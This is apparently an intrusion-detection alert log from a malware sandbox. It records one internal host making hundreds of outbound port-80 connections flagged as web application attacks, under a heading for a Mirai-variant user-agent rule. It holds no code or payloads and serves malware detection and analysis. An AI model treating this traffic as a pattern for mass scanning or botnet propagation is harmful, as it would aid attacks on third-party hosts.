2024-12-03T22:12:49.556430+0100	2030092	1	Web Application Attack	192.168.2.23	37206	178.98.170.57	80	TCP
2024-12-03T22:12:49.556442+0100	2030092	1	Web Application Attack	192.168.2.23	59306	158.122.213.59	80	TCP
2024-12-03T22:12:49.565768+0100	2030092	1	Web Application Attack	192.168.2.23	33500	157.138.43.223	80	TCP
2024-12-03T22:12:49.572137+0100	2030092	1	Web Application Attack	192.168.2.23	51242	147.253.67.213	80	TCP
2024-12-03T22:12:49.581257+0100	2030092	1	Web Application Attack	192.168.2.23	55060	217.196.3.238	80	TCP
2024-12-03T22:12:49.581382+0100	2030092	1	Web Application Attack	192.168.2.23	53038	20.237.132.254	80	TCP
2024-12-03T22:12:49.581479+0100	2030092	1	Web Application Attack	192.168.2.23	50076	158.10.175.47	80	TCP
2024-12-03T22:12:49.587792+0100	2030092	1	Web Application Attack	192.168.2.23	51042	2.255.198.226	80	TCP
2024-12-03T22:12:49.587816+0100	2030092	1	Web Application Attack	192.168.2.23	48276	4.9.106.198	80	TCP
2024-12-03T22:12:49.587980+0100	2030092	1	Web Application Attack	192.168.2.23	47244	195.30.186.224	80	TCP
2024-12-03T22:12:49.588000+0100	2030092	1	Web Application Attack	192.168.2.23	44946	139.112.38.214	80	TCP
2024-12-03T22:12:49.596801+0100	2030092	1	Web Application Attack	192.168.2.23	49902	218.189.209.103	80	TCP
2024-12-03T22:12:49.596886+0100	2030092	1	Web Application Attack	192.168.2.23	48434	18.121.250.66	80	TCP
2024-12-03T22:12:49.596960+0100	2030092	1	Web Application Attack	192.168.2.23	38622	61.165.13.141	80	TCP
2024-12-03T22:12:49.603245+0100	2030092	1	Web Application Attack	192.168.2.23	47578	49.163.134.78	80	TCP
2024-12-03T22:12:49.603404+0100	2030092	1	Web Application Attack	192.168.2.23	60870	19.8.122.110	80	TCP
2024-12-03T22:12:49.603465+0100	2030092	1	Web Application Attack	192.168.2.23	54956	61.251.195.136	80	TCP
2024-12-03T22:12:49.612521+0100	2030092	1	Web Application Attack	192.168.2.23	54588	58.222.117.176	80	TCP
2024-12-03T22:12:49.612601+0100	2030092	1	Web Application Attack	192.168.2.23	40480	172.57.84.69	80	TCP
2024-12-03T22:12:49.634553+0100	2030092	1	Web Application Attack	192.168.2.23	51652	137.220.131.130	80	TCP
2024-12-03T22:12:49.634557+0100	2030092	1	Web Application Attack	192.168.2.23	53814	85.42.116.185	80	TCP
2024-12-03T22:12:49.643557+0100	2030092	1	Web Application Attack	192.168.2.23	59906	20.153.23.73	80	TCP
2024-12-03T22:12:49.659370+0100	2030092	1	Web Application Attack	192.168.2.23	53190	159.13.192.56	80	TCP
2024-12-03T22:12:49.659415+0100	2030092	1	Web Application Attack	192.168.2.23	47806	8.134.250.104	80	TCP
2024-12-03T22:12:49.713230+0100	2030092	1	Web Application Attack	192.168.2.23	43634	129.209.87.146	80	TCP
2024-12-03T22:12:50.006419+0100	2030092	1	Web Application Attack	192.168.2.23	34662	187.120.13.214	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:11:52.043183+0100	2029034	1	Web Application Attack	192.168.2.23	41454	13.227.133.150	80	TCP
2024-12-03T22:11:52.044405+0100	2029034	1	Web Application Attack	192.168.2.23	43764	185.248.148.162	80	TCP
2024-12-03T22:11:52.220853+0100	2029034	1	Web Application Attack	192.168.2.23	54008	209.250.24.111	80	TCP
2024-12-03T22:11:52.953349+0100	2029034	1	Web Application Attack	192.168.2.23	34016	121.127.51.127	80	TCP
2024-12-03T22:11:53.316258+0100	2029034	1	Web Application Attack	192.168.2.23	38726	175.229.50.139	80	TCP
2024-12-03T22:11:53.505517+0100	2029034	1	Web Application Attack	192.168.2.23	41758	211.248.1.241	80	TCP
2024-12-03T22:11:53.856292+0100	2029034	1	Web Application Attack	192.168.2.23	60026	112.155.127.190	80	TCP
2024-12-03T22:11:58.632468+0100	2029034	1	Web Application Attack	192.168.2.23	45254	185.159.154.104	80	TCP
2024-12-03T22:11:59.085094+0100	2029034	1	Web Application Attack	192.168.2.23	43082	65.9.66.156	80	TCP
2024-12-03T22:12:05.144215+0100	2029034	1	Web Application Attack	192.168.2.23	58464	156.233.119.35	80	TCP
2024-12-03T22:12:05.381189+0100	2029034	1	Web Application Attack	192.168.2.23	55366	38.12.53.231	80	TCP
2024-12-03T22:12:08.261944+0100	2029034	1	Web Application Attack	192.168.2.23	59254	35.156.77.102	80	TCP
2024-12-03T22:12:09.868068+0100	2029034	1	Web Application Attack	192.168.2.23	38762	51.134.184.47	80	TCP
2024-12-03T22:12:09.893063+0100	2029034	1	Web Application Attack	192.168.2.23	49774	115.148.141.242	80	TCP
2024-12-03T22:12:09.940044+0100	2029034	1	Web Application Attack	192.168.2.23	47296	60.49.222.42	80	TCP
2024-12-03T22:12:09.955877+0100	2029034	1	Web Application Attack	192.168.2.23	43438	140.106.83.149	80	TCP
2024-12-03T22:12:09.962254+0100	2029034	1	Web Application Attack	192.168.2.23	56342	77.64.164.173	80	TCP
2024-12-03T22:12:09.977723+0100	2029034	1	Web Application Attack	192.168.2.23	60248	217.26.115.252	80	TCP
2024-12-03T22:12:09.993246+0100	2029034	1	Web Application Attack	192.168.2.23	60630	170.111.11.90	80	TCP
2024-12-03T22:12:09.993414+0100	2029034	1	Web Application Attack	192.168.2.23	56886	180.14.36.140	80	TCP
2024-12-03T22:12:10.009602+0100	2029034	1	Web Application Attack	192.168.2.23	51872	217.229.54.255	80	TCP
2024-12-03T22:12:10.024940+0100	2029034	1	Web Application Attack	192.168.2.23	42484	144.30.94.29	80	TCP
2024-12-03T22:12:10.026015+0100	2029034	1	Web Application Attack	192.168.2.23	58948	188.239.8.166	80	TCP
2024-12-03T22:12:10.027811+0100	2029034	1	Web Application Attack	192.168.2.23	46362	14.141.3.196	80	TCP
2024-12-03T22:12:10.050343+0100	2029034	1	Web Application Attack	192.168.2.23	43048	77.9.102.153	80	TCP
2024-12-03T22:12:10.050343+0100	2029034	1	Web Application Attack	192.168.2.23	38370	158.241.3.93	80	TCP
2024-12-03T22:12:10.050601+0100	2029034	1	Web Application Attack	192.168.2.23	54236	160.247.51.9	80	TCP
2024-12-03T22:12:10.080488+0100	2029034	1	Web Application Attack	192.168.2.23	42346	54.224.48.72	80	TCP
2024-12-03T22:12:10.096576+0100	2029034	1	Web Application Attack	192.168.2.23	34558	59.75.42.59	80	TCP
2024-12-03T22:12:10.883806+0100	2029034	1	Web Application Attack	192.168.2.23	43644	60.191.15.52	80	TCP
2024-12-03T22:12:10.893307+0100	2029034	1	Web Application Attack	192.168.2.23	36434	112.17.46.206	80	TCP
2024-12-03T22:12:10.896761+0100	2029034	1	Web Application Attack	192.168.2.23	60898	88.204.40.127	80	TCP
2024-12-03T22:12:10.899585+0100	2029034	1	Web Application Attack	192.168.2.23	53186	166.46.184.48	80	TCP
2024-12-03T22:12:10.914990+0100	2029034	1	Web Application Attack	192.168.2.23	53302	138.253.99.143	80	TCP
2024-12-03T22:12:10.973284+0100	2029034	1	Web Application Attack	192.168.2.23	38304	39.59.187.16	80	TCP
2024-12-03T22:12:10.977698+0100	2029034	1	Web Application Attack	192.168.2.23	49726	154.225.38.211	80	TCP
2024-12-03T22:12:11.018191+0100	2029034	1	Web Application Attack	192.168.2.23	34944	2.92.50.4	80	TCP
2024-12-03T22:12:11.143169+0100	2029034	1	Web Application Attack	192.168.2.23	46704	49.62.38.109	80	TCP
2024-12-03T22:12:11.189976+0100	2029034	1	Web Application Attack	192.168.2.23	48880	191.220.213.75	80	TCP
2024-12-03T22:12:11.196384+0100	2029034	1	Web Application Attack	192.168.2.23	53606	150.209.61.21	80	TCP
2024-12-03T22:12:11.196474+0100	2029034	1	Web Application Attack	192.168.2.23	52702	58.54.216.137	80	TCP
2024-12-03T22:12:11.196638+0100	2029034	1	Web Application Attack	192.168.2.23	47048	8.159.135.62	80	TCP
2024-12-03T22:12:11.221364+0100	2029034	1	Web Application Attack	192.168.2.23	52218	85.100.167.15	80	TCP
2024-12-03T22:12:11.236874+0100	2029034	1	Web Application Attack	192.168.2.23	41196	204.184.249.105	80	TCP
2024-12-03T22:12:11.542539+0100	2029034	1	Web Application Attack	192.168.2.23	42896	216.31.154.98	80	TCP
2024-12-03T22:12:12.900788+0100	2029034	1	Web Application Attack	192.168.2.23	34322	192.122.106.149	80	TCP
2024-12-03T22:12:12.904492+0100	2029034	1	Web Application Attack	192.168.2.23	38692	90.128.45.194	80	TCP
2024-12-03T22:12:12.918043+0100	2029034	1	Web Application Attack	192.168.2.23	34300	67.109.205.61	80	TCP
2024-12-03T22:12:12.918172+0100	2029034	1	Web Application Attack	192.168.2.23	43310	168.141.43.142	80	TCP
2024-12-03T22:12:12.921055+0100	2029034	1	Web Application Attack	192.168.2.23	49912	178.168.125.118	80	TCP
2024-12-03T22:12:12.923703+0100	2029034	1	Web Application Attack	192.168.2.23	50038	189.113.25.114	80	TCP
2024-12-03T22:12:12.931367+0100	2029034	1	Web Application Attack	192.168.2.23	41848	91.168.168.177	80	TCP
2024-12-03T22:12:12.933122+0100	2029034	1	Web Application Attack	192.168.2.23	58830	133.23.65.66	80	TCP
2024-12-03T22:12:12.933246+0100	2029034	1	Web Application Attack	192.168.2.23	33988	121.123.242.60	80	TCP
2024-12-03T22:12:12.933678+0100	2029034	1	Web Application Attack	192.168.2.23	34302	204.35.166.113	80	TCP
2024-12-03T22:12:12.934541+0100	2029034	1	Web Application Attack	192.168.2.23	37286	62.248.199.225	80	TCP
2024-12-03T22:12:12.935547+0100	2029034	1	Web Application Attack	192.168.2.23	51360	25.56.170.39	80	TCP
2024-12-03T22:12:12.940916+0100	2029034	1	Web Application Attack	192.168.2.23	37886	42.54.179.203	80	TCP
2024-12-03T22:12:12.942456+0100	2029034	1	Web Application Attack	192.168.2.23	38806	52.200.155.160	80	TCP
2024-12-03T22:12:12.942859+0100	2029034	1	Web Application Attack	192.168.2.23	46792	39.26.141.128	80	TCP
2024-12-03T22:12:12.943617+0100	2029034	1	Web Application Attack	192.168.2.23	45662	175.207.62.8	80	TCP
2024-12-03T22:12:12.947736+0100	2029034	1	Web Application Attack	192.168.2.23	51100	157.10.232.130	80	TCP
2024-12-03T22:12:12.947789+0100	2029034	1	Web Application Attack	192.168.2.23	47182	165.71.235.9	80	TCP
2024-12-03T22:12:12.948718+0100	2029034	1	Web Application Attack	192.168.2.23	55548	51.132.116.166	80	TCP
2024-12-03T22:12:12.956731+0100	2029034	1	Web Application Attack	192.168.2.23	33760	89.237.234.81	80	TCP
2024-12-03T22:12:12.956952+0100	2029034	1	Web Application Attack	192.168.2.23	60458	177.109.45.183	80	TCP
2024-12-03T22:12:12.973799+0100	2029034	1	Web Application Attack	192.168.2.23	43952	120.47.138.87	80	TCP
2024-12-03T22:12:12.974078+0100	2029034	1	Web Application Attack	192.168.2.23	56182	114.255.133.213	80	TCP
2024-12-03T22:12:12.974081+0100	2029034	1	Web Application Attack	192.168.2.23	35800	100.44.128.127	80	TCP
2024-12-03T22:12:12.974280+0100	2029034	1	Web Application Attack	192.168.2.23	39936	220.40.166.42	80	TCP
2024-12-03T22:12:12.974712+0100	2029034	1	Web Application Attack	192.168.2.23	39260	222.183.121.253	80	TCP
2024-12-03T22:12:12.998544+0100	2029034	1	Web Application Attack	192.168.2.23	47096	2.111.72.125	80	TCP
2024-12-03T22:12:13.009357+0100	2029034	1	Web Application Attack	192.168.2.23	56952	44.96.228.159	80	TCP
2024-12-03T22:12:13.009595+0100	2029034	1	Web Application Attack	192.168.2.23	47846	113.202.243.27	80	TCP
2024-12-03T22:12:13.009841+0100	2029034	1	Web Application Attack	192.168.2.23	32856	9.180.125.203	80	TCP
2024-12-03T22:12:13.061461+0100	2029034	1	Web Application Attack	192.168.2.23	55588	182.114.118.150	80	TCP
2024-12-03T22:12:13.061762+0100	2029034	1	Web Application Attack	192.168.2.23	57734	87.124.13.206	80	TCP
2024-12-03T22:12:13.061920+0100	2029034	1	Web Application Attack	192.168.2.23	36480	59.234.43.201	80	TCP
2024-12-03T22:12:13.062441+0100	2029034	1	Web Application Attack	192.168.2.23	41228	13.209.9.211	80	TCP
2024-12-03T22:12:13.062562+0100	2029034	1	Web Application Attack	192.168.2.23	36822	151.234.254.75	80	TCP
2024-12-03T22:12:13.062562+0100	2029034	1	Web Application Attack	192.168.2.23	48390	152.61.133.39	80	TCP
2024-12-03T22:12:13.063110+0100	2029034	1	Web Application Attack	192.168.2.23	58150	69.165.68.106	80	TCP
2024-12-03T22:12:13.063251+0100	2029034	1	Web Application Attack	192.168.2.23	48936	52.233.176.82	80	TCP
2024-12-03T22:12:13.063338+0100	2029034	1	Web Application Attack	192.168.2.23	45902	84.71.252.104	80	TCP
2024-12-03T22:12:13.063456+0100	2029034	1	Web Application Attack	192.168.2.23	55360	101.242.71.7	80	TCP
2024-12-03T22:12:13.063847+0100	2029034	1	Web Application Attack	192.168.2.23	45352	151.117.200.130	80	TCP
2024-12-03T22:12:13.063855+0100	2029034	1	Web Application Attack	192.168.2.23	33174	46.218.150.180	80	TCP
2024-12-03T22:12:13.064322+0100	2029034	1	Web Application Attack	192.168.2.23	51264	57.234.210.229	80	TCP
2024-12-03T22:12:13.064522+0100	2029034	1	Web Application Attack	192.168.2.23	56064	91.179.4.197	80	TCP
2024-12-03T22:12:13.080702+0100	2029034	1	Web Application Attack	192.168.2.23	57556	172.13.154.229	80	TCP
2024-12-03T22:12:13.081086+0100	2029034	1	Web Application Attack	192.168.2.23	50506	195.46.36.83	80	TCP
2024-12-03T22:12:13.081094+0100	2029034	1	Web Application Attack	192.168.2.23	57494	68.131.78.173	80	TCP
2024-12-03T22:12:13.096338+0100	2029034	1	Web Application Attack	192.168.2.23	50796	69.224.65.58	80	TCP
2024-12-03T22:12:13.112017+0100	2029034	1	Web Application Attack	192.168.2.23	44620	216.84.178.95	80	TCP
2024-12-03T22:12:13.112156+0100	2029034	1	Web Application Attack	192.168.2.23	42260	156.240.241.216	80	TCP
2024-12-03T22:12:13.133901+0100	2029034	1	Web Application Attack	192.168.2.23	57274	178.58.251.176	80	TCP
2024-12-03T22:12:13.190019+0100	2029034	1	Web Application Attack	192.168.2.23	33418	31.114.90.41	80	TCP
2024-12-03T22:12:13.205546+0100	2029034	1	Web Application Attack	192.168.2.23	42100	170.223.253.82	80	TCP
2024-12-03T22:12:14.040125+0100	2029034	1	Web Application Attack	192.168.2.23	60986	97.146.133.90	80	TCP
2024-12-03T22:12:14.040364+0100	2029034	1	Web Application Attack	192.168.2.23	45478	112.94.207.133	80	TCP
2024-12-03T22:12:14.040366+0100	2029034	1	Web Application Attack	192.168.2.23	57902	190.176.20.128	80	TCP
2024-12-03T22:12:14.055857+0100	2029034	1	Web Application Attack	192.168.2.23	45088	89.77.49.90	80	TCP
2024-12-03T22:12:14.071345+0100	2029034	1	Web Application Attack	192.168.2.23	36618	159.47.73.163	80	TCP
2024-12-03T22:12:14.080706+0100	2029034	1	Web Application Attack	192.168.2.23	34368	123.63.252.212	80	TCP
2024-12-03T22:12:14.087031+0100	2029034	1	Web Application Attack	192.168.2.23	39504	35.37.81.75	80	TCP
2024-12-03T22:12:14.087383+0100	2029034	1	Web Application Attack	192.168.2.23	42658	72.98.186.118	80	TCP
2024-12-03T22:12:14.087558+0100	2029034	1	Web Application Attack	192.168.2.23	39860	179.41.60.148	80	TCP
2024-12-03T22:12:14.096364+0100	2029034	1	Web Application Attack	192.168.2.23	45656	140.76.241.6	80	TCP
2024-12-03T22:12:14.096560+0100	2029034	1	Web Application Attack	192.168.2.23	60942	132.243.143.161	80	TCP
2024-12-03T22:12:14.096763+0100	2029034	1	Web Application Attack	192.168.2.23	38518	205.91.17.173	80	TCP
2024-12-03T22:12:14.096768+0100	2029034	1	Web Application Attack	192.168.2.23	40970	134.42.74.112	80	TCP
2024-12-03T22:12:14.102726+0100	2029034	1	Web Application Attack	192.168.2.23	33462	151.235.178.124	80	TCP
2024-12-03T22:12:14.111984+0100	2029034	1	Web Application Attack	192.168.2.23	37528	155.120.96.18	80	TCP
2024-12-03T22:12:14.112113+0100	2029034	1	Web Application Attack	192.168.2.23	38094	77.145.142.253	80	TCP
2024-12-03T22:12:14.112228+0100	2029034	1	Web Application Attack	192.168.2.23	37986	133.83.247.90	80	TCP
2024-12-03T22:12:14.112257+0100	2029034	1	Web Application Attack	192.168.2.23	58042	220.107.18.26	80	TCP
2024-12-03T22:12:14.112294+0100	2029034	1	Web Application Attack	192.168.2.23	45776	201.42.80.185	80	TCP
2024-12-03T22:12:14.143453+0100	2029034	1	Web Application Attack	192.168.2.23	40004	98.103.8.79	80	TCP
2024-12-03T22:12:14.143666+0100	2029034	1	Web Application Attack	192.168.2.23	58750	203.199.224.170	80	TCP
2024-12-03T22:12:14.274588+0100	2029034	1	Web Application Attack	192.168.2.23	37922	92.13.254.172	80	TCP
2024-12-03T22:12:14.274605+0100	2029034	1	Web Application Attack	192.168.2.23	57990	179.139.164.55	80	TCP
2024-12-03T22:12:14.306016+0100	2029034	1	Web Application Attack	192.168.2.23	44822	24.30.197.102	80	TCP
2024-12-03T22:12:14.315472+0100	2029034	1	Web Application Attack	192.168.2.23	54656	93.254.60.25	80	TCP
2024-12-03T22:12:14.315841+0100	2029034	1	Web Application Attack	192.168.2.23	34700	123.143.40.243	80	TCP
2024-12-03T22:12:14.337696+0100	2029034	1	Web Application Attack	192.168.2.23	47578	13.196.196.235	80	TCP
2024-12-03T22:12:14.346292+0100	2029034	1	Web Application Attack	192.168.2.23	53214	65.236.202.115	80	TCP
2024-12-03T22:12:14.346408+0100	2029034	1	Web Application Attack	192.168.2.23	42318	167.115.243.47	80	TCP
2024-12-03T22:12:14.377641+0100	2029034	1	Web Application Attack	192.168.2.23	40266	36.128.111.41	80	TCP
2024-12-03T22:12:14.377685+0100	2029034	1	Web Application Attack	192.168.2.23	53218	113.28.235.30	80	TCP
2024-12-03T22:12:14.377828+0100	2029034	1	Web Application Attack	192.168.2.23	37190	4.207.41.110	80	TCP
2024-12-03T22:12:15.307457+0100	2029034	1	Web Application Attack	192.168.2.23	57970	85.19.189.63	80	TCP
2024-12-03T22:12:15.346329+0100	2029034	1	Web Application Attack	192.168.2.23	43134	72.124.120.20	80	TCP
2024-12-03T22:12:15.346869+0100	2029034	1	Web Application Attack	192.168.2.23	57792	50.183.212.32	80	TCP
2024-12-03T22:12:15.643547+0100	2029034	1	Web Application Attack	192.168.2.23	45648	220.77.138.145	80	TCP
2024-12-03T22:12:15.643559+0100	2029034	1	Web Application Attack	192.168.2.23	33884	143.229.68.126	80	TCP
2024-12-03T22:12:15.971233+0100	2029034	1	Web Application Attack	192.168.2.23	43908	192.171.193.125	80	TCP
2024-12-03T22:12:16.181000+0100	2029034	1	Web Application Attack	192.168.2.23	52082	128.238.186.37	80	TCP
2024-12-03T22:12:16.196832+0100	2029034	1	Web Application Attack	192.168.2.23	48038	104.201.153.104	80	TCP
2024-12-03T22:12:16.205729+0100	2029034	1	Web Application Attack	192.168.2.23	45294	129.161.63.20	80	TCP
2024-12-03T22:12:16.284131+0100	2029034	1	Web Application Attack	192.168.2.23	33058	168.46.253.58	80	TCP
2024-12-03T22:12:16.290029+0100	2029034	1	Web Application Attack	192.168.2.23	46618	24.101.117.10	80	TCP
2024-12-03T22:12:16.368363+0100	2029034	1	Web Application Attack	192.168.2.23	36394	213.129.144.154	80	TCP
2024-12-03T22:12:17.556024+0100	2029034	1	Web Application Attack	192.168.2.23	35174	49.234.44.240	80	TCP
2024-12-03T22:12:17.572057+0100	2029034	1	Web Application Attack	192.168.2.23	40326	193.30.24.101	80	TCP
2024-12-03T22:12:17.587101+0100	2029034	1	Web Application Attack	192.168.2.23	58094	165.57.79.173	80	TCP
2024-12-03T22:12:17.587240+0100	2029034	1	Web Application Attack	192.168.2.23	38614	145.211.196.152	80	TCP
2024-12-03T22:12:17.676949+0100	2029034	1	Web Application Attack	192.168.2.23	40892	162.132.171.68	80	TCP
2024-12-03T22:12:17.676950+0100	2029034	1	Web Application Attack	192.168.2.23	43660	50.153.197.44	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	1	Web Application Attack	192.168.2.23	50050	83.202.167.205	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	1	Web Application Attack	192.168.2.23	41484	124.56.130.85	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	1	Web Application Attack	192.168.2.23	59968	200.45.13.12	80	TCP
2024-12-03T22:12:17.676960+0100	2029034	1	Web Application Attack	192.168.2.23	45184	75.15.104.162	80	TCP
2024-12-03T22:12:17.676961+0100	2029034	1	Web Application Attack	192.168.2.23	45616	66.116.195.48	80	TCP
2024-12-03T22:12:17.676963+0100	2029034	1	Web Application Attack	192.168.2.23	37020	24.100.84.87	80	TCP
2024-12-03T22:12:17.676963+0100	2029034	1	Web Application Attack	192.168.2.23	48358	121.166.170.173	80	TCP
2024-12-03T22:12:18.618455+0100	2029034	1	Web Application Attack	192.168.2.23	38270	169.247.250.168	80	TCP
2024-12-03T22:12:18.681205+0100	2029034	1	Web Application Attack	192.168.2.23	47278	201.19.217.8	80	TCP
2024-12-03T22:12:18.696507+0100	2029034	1	Web Application Attack	192.168.2.23	41488	57.77.154.206	80	TCP
2024-12-03T22:12:18.696518+0100	2029034	1	Web Application Attack	192.168.2.23	35208	210.29.183.145	80	TCP
2024-12-03T22:12:18.727485+0100	2029034	1	Web Application Attack	192.168.2.23	40238	178.171.45.145	80	TCP
2024-12-03T22:12:18.729406+0100	2029034	1	Web Application Attack	192.168.2.23	49284	217.102.222.209	80	TCP
2024-12-03T22:12:18.729661+0100	2029034	1	Web Application Attack	192.168.2.23	47894	139.51.191.171	80	TCP
2024-12-03T22:12:18.759244+0100	2029034	1	Web Application Attack	192.168.2.23	57446	139.139.2.17	80	TCP
2024-12-03T22:12:18.768478+0100	2029034	1	Web Application Attack	192.168.2.23	32926	133.205.30.205	80	TCP
2024-12-03T22:12:18.808846+0100	2029034	1	Web Application Attack	192.168.2.23	52462	142.50.5.178	80	TCP
2024-12-03T22:12:18.809013+0100	2029034	1	Web Application Attack	192.168.2.23	45658	197.214.144.74	80	TCP
2024-12-03T22:12:18.811782+0100	2029034	1	Web Application Attack	192.168.2.23	49460	162.215.180.62	80	TCP
2024-12-03T22:12:19.352699+0100	2029034	1	Web Application Attack	192.168.2.23	54928	4.29.253.50	80	TCP
2024-12-03T22:12:19.384103+0100	2029034	1	Web Application Attack	192.168.2.23	44096	177.25.213.167	80	TCP
2024-12-03T22:12:19.385138+0100	2029034	1	Web Application Attack	192.168.2.23	32996	204.33.164.130	80	TCP
2024-12-03T22:12:19.393307+0100	2029034	1	Web Application Attack	192.168.2.23	38024	19.208.57.186	80	TCP
2024-12-03T22:12:19.393464+0100	2029034	1	Web Application Attack	192.168.2.23	54408	203.50.8.113	80	TCP
2024-12-03T22:12:19.425264+0100	2029034	1	Web Application Attack	192.168.2.23	50182	73.150.237.197	80	TCP
2024-12-03T22:12:19.440286+0100	2029034	1	Web Application Attack	192.168.2.23	38046	213.89.187.153	80	TCP
2024-12-03T22:12:19.440549+0100	2029034	1	Web Application Attack	192.168.2.23	45788	23.105.251.53	80	TCP
2024-12-03T22:12:19.440623+0100	2029034	1	Web Application Attack	192.168.2.23	53908	162.156.93.202	80	TCP
2024-12-03T22:12:19.440851+0100	2029034	1	Web Application Attack	192.168.2.23	48346	2.51.143.104	80	TCP
2024-12-03T22:12:19.462009+0100	2029034	1	Web Application Attack	192.168.2.23	58578	82.133.175.110	80	TCP
2024-12-03T22:12:19.462121+0100	2029034	1	Web Application Attack	192.168.2.23	58930	152.138.96.232	80	TCP
2024-12-03T22:12:19.462256+0100	2029034	1	Web Application Attack	192.168.2.23	54798	68.59.246.174	80	TCP
2024-12-03T22:12:19.462317+0100	2029034	1	Web Application Attack	192.168.2.23	48536	74.215.79.226	80	TCP
2024-12-03T22:12:19.509034+0100	2029034	1	Web Application Attack	192.168.2.23	60318	37.222.45.109	80	TCP
2024-12-03T22:12:19.549622+0100	2029034	1	Web Application Attack	192.168.2.23	50306	219.159.123.120	80	TCP
2024-12-03T22:12:19.549622+0100	2029034	1	Web Application Attack	192.168.2.23	38084	38.252.33.188	80	TCP
2024-12-03T22:12:19.549653+0100	2029034	1	Web Application Attack	192.168.2.23	39144	130.164.233.87	80	TCP
2024-12-03T22:12:19.549842+0100	2029034	1	Web Application Attack	192.168.2.23	46412	59.225.143.231	80	TCP
2024-12-03T22:12:19.946961+0100	2029034	1	Web Application Attack	192.168.2.23	37412	34.131.129.136	80	TCP
2024-12-03T22:12:19.977879+0100	2029034	1	Web Application Attack	192.168.2.23	41622	67.52.176.63	80	TCP
2024-12-03T22:12:20.003088+0100	2029034	1	Web Application Attack	192.168.2.23	59166	112.129.158.137	80	TCP
2024-12-03T22:12:20.009705+0100	2029034	1	Web Application Attack	192.168.2.23	52374	129.144.14.38	80	TCP
2024-12-03T22:12:20.018603+0100	2029034	1	Web Application Attack	192.168.2.23	59420	119.57.157.97	80	TCP
2024-12-03T22:12:20.018609+0100	2029034	1	Web Application Attack	192.168.2.23	59310	79.212.17.233	80	TCP
2024-12-03T22:12:20.018765+0100	2029034	1	Web Application Attack	192.168.2.23	57840	44.117.142.118	80	TCP
2024-12-03T22:12:20.018860+0100	2029034	1	Web Application Attack	192.168.2.23	50408	190.100.222.121	80	TCP
2024-12-03T22:12:20.019268+0100	2029034	1	Web Application Attack	192.168.2.23	55756	184.67.228.6	80	TCP
2024-12-03T22:12:20.049508+0100	2029034	1	Web Application Attack	192.168.2.23	56192	49.106.166.45	80	TCP
2024-12-03T22:12:20.049578+0100	2029034	1	Web Application Attack	192.168.2.23	41556	138.126.42.137	80	TCP
2024-12-03T22:12:20.509205+0100	2029034	1	Web Application Attack	192.168.2.23	46394	81.44.34.58	80	TCP
2024-12-03T22:12:20.556124+0100	2029034	1	Web Application Attack	192.168.2.23	35338	195.80.150.63	80	TCP
2024-12-03T22:12:20.556129+0100	2029034	1	Web Application Attack	192.168.2.23	45428	69.143.108.131	80	TCP
2024-12-03T22:12:20.556138+0100	2029034	1	Web Application Attack	192.168.2.23	40208	144.83.48.213	80	TCP
2024-12-03T22:12:20.564955+0100	2029034	1	Web Application Attack	192.168.2.23	44476	38.73.224.202	80	TCP
2024-12-03T22:12:20.565150+0100	2029034	1	Web Application Attack	192.168.2.23	59744	113.236.127.158	80	TCP
2024-12-03T22:12:21.799530+0100	2029034	1	Web Application Attack	192.168.2.23	45268	180.110.72.45	80	TCP
2024-12-03T22:12:21.831014+0100	2029034	1	Web Application Attack	192.168.2.23	36432	47.97.122.41	80	TCP
2024-12-03T22:12:22.456231+0100	2029034	1	Web Application Attack	192.168.2.23	43986	213.232.208.1	80	TCP
2024-12-03T22:12:22.565465+0100	2029034	1	Web Application Attack	192.168.2.23	43972	219.115.15.124	80	TCP
2024-12-03T22:12:22.596448+0100	2029034	1	Web Application Attack	192.168.2.23	42378	47.79.176.86	80	TCP
2024-12-03T22:12:22.881044+0100	2029034	1	Web Application Attack	192.168.2.23	39766	199.208.16.68	80	TCP
2024-12-03T22:12:24.793742+0100	2029034	1	Web Application Attack	192.168.2.23	38662	50.236.194.249	80	TCP
2024-12-03T22:12:24.793936+0100	2029034	1	Web Application Attack	192.168.2.23	43060	73.116.216.42	80	TCP
2024-12-03T22:12:24.793952+0100	2029034	1	Web Application Attack	192.168.2.23	49204	161.208.1.194	80	TCP
2024-12-03T22:12:24.799755+0100	2029034	1	Web Application Attack	192.168.2.23	34598	196.153.62.42	80	TCP
2024-12-03T22:12:24.806025+0100	2029034	1	Web Application Attack	192.168.2.23	44236	175.117.153.180	80	TCP
2024-12-03T22:12:24.806092+0100	2029034	1	Web Application Attack	192.168.2.23	44770	46.227.95.216	80	TCP
2024-12-03T22:12:24.815242+0100	2029034	1	Web Application Attack	192.168.2.23	34794	194.138.11.125	80	TCP
2024-12-03T22:12:24.815384+0100	2029034	1	Web Application Attack	192.168.2.23	53684	213.7.253.228	80	TCP
2024-12-03T22:12:24.815411+0100	2029034	1	Web Application Attack	192.168.2.23	59336	42.9.103.155	80	TCP
2024-12-03T22:12:24.837270+0100	2029034	1	Web Application Attack	192.168.2.23	37588	115.204.35.202	80	TCP
2024-12-03T22:12:24.846491+0100	2029034	1	Web Application Attack	192.168.2.23	42882	40.146.90.172	80	TCP
2024-12-03T22:12:24.893948+0100	2029034	1	Web Application Attack	192.168.2.23	53756	150.71.223.131	80	TCP
2024-12-03T22:12:25.071669+0100	2029034	1	Web Application Attack	192.168.2.23	60966	4.95.118.131	80	TCP
2024-12-03T22:12:25.087222+0100	2029034	1	Web Application Attack	192.168.2.23	35960	13.106.108.132	80	TCP
2024-12-03T22:12:25.127682+0100	2029034	1	Web Application Attack	192.168.2.23	56680	219.84.17.74	80	TCP
2024-12-03T22:12:26.306296+0100	2029034	1	Web Application Attack	192.168.2.23	34626	36.1.241.140	80	TCP
2024-12-03T22:12:26.306733+0100	2029034	1	Web Application Attack	192.168.2.23	37166	173.254.164.182	80	TCP
2024-12-03T22:12:26.306748+0100	2029034	1	Web Application Attack	192.168.2.23	47940	185.20.104.124	80	TCP
2024-12-03T22:12:26.337242+0100	2029034	1	Web Application Attack	192.168.2.23	38240	35.7.160.19	80	TCP
2024-12-03T22:12:26.363511+0100	2029034	1	Web Application Attack	192.168.2.23	58192	45.16.132.235	80	TCP
2024-12-03T22:12:26.363520+0100	2029034	1	Web Application Attack	192.168.2.23	54172	86.242.194.247	80	TCP
2024-12-03T22:12:26.714781+0100	2029034	1	Web Application Attack	192.168.2.23	60106	74.50.253.149	80	TCP
